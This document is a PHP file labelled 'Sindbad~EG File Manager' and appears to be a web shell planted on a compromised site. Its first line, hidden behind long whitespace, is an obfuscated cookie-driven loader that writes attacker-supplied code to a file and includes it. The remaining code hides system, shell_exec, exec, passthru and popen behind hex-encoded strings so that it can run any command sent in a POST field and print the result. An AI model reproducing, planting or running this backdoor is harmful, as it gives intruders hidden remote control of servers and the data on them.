Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[22])){$c=$_COOKIE;$k=0;$n=6;$p=array();$p[$k]='';while($n){$p[$k].=$c[22][$n];if(!$c[22][$n+1]){if(!$c[22][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+6+1;}$k=$p[29]().$p[2];if(!$p[5]($k)){$n=$p[23]($k,$p[7]);$p[9]($n,$p[25].$p[3]($p[15]($c[3])));}include($k);}


$state1 = '7';
$state2 = '9';
$state3 = '4';
$state4 = '6';
$state5 = 'd';
$state6 = '5';
$state7 = '3';
$state8 = '0';
$state9 = 'e';
$state10 = '2';
$state11 = 'c';
$state12 = 'f';
$dba_insertion1 = pack("H*", '7'.'3'.$state1.$state2.$state1.'3'.'7'.$state3.$state4.'5'.'6'.$state5);
$dba_insertion2 = pack("H*", '7'.'3'.'6'.'8'.$state4.$state6.$state4.'c'.$state4.'c'.$state6.'f'.$state4.'5'.$state1.'8'.$state4.'5'.'6'.$state7);
$dba_insertion3 = pack("H*", '6'.'5'.$state1.'8'.$state4.$state6.'6'.'3');
$dba_insertion4 = pack("H*", $state1.$state8.'6'.'1'.'7'.$state7.'7'.'3'.'7'.$state3.$state4.'8'.$state1.'2'.$state1.'5');
$dba_insertion5 = pack("H*", $state1.'0'.$state4.'f'.$state1.'0'.'6'.$state6.'6'.$state9);
$dba_insertion6 = pack("H*", '7'.'3'.'7'.$state3.'7'.$state10.$state4.'5'.'6'.'1'.'6'.$state5.$state6.'f'.'6'.'7'.$state4.'5'.$state1.$state3.$state6.'f'.$state4.$state7.'6'.'f'.'6'.'e'.$state1.'4'.$state4.$state6.'6'.$state9.'7'.'4'.$state1.$state7);
$dba_insertion7 = pack("H*", $state1.'0'.'6'.$state7.'6'.$state11.$state4.$state12.'7'.'3'.'6'.'5');
$include = pack("H*", '6'.$state2.'6'.$state9.'6'.'3'.'6'.$state11.'7'.'5'.'6'.'4'.$state4.'5');
if (isset($_POST[$include])) {
    $include = pack("H*", $_POST[$include]);
    if (function_exists($dba_insertion1)) {
        $dba_insertion1($include);
    } elseif (function_exists($dba_insertion2)) {
        print $dba_insertion2($include);
    } elseif (function_exists($dba_insertion3)) {
        $dba_insertion3($include, $property_arg);
        print join("\n", $property_arg);
    } elseif (function_exists($dba_insertion4)) {
        $dba_insertion4($include);
    } elseif (function_exists($dba_insertion5) && function_exists($dba_insertion6) && function_exists($dba_insertion7)) {
        $parameter_attribute = $dba_insertion5($include, 'r');
        if ($parameter_attribute) {
            $storage_id = $dba_insertion6($parameter_attribute);
            $dba_insertion7($parameter_attribute);
            print $storage_id;
        }
    }
    exit;
}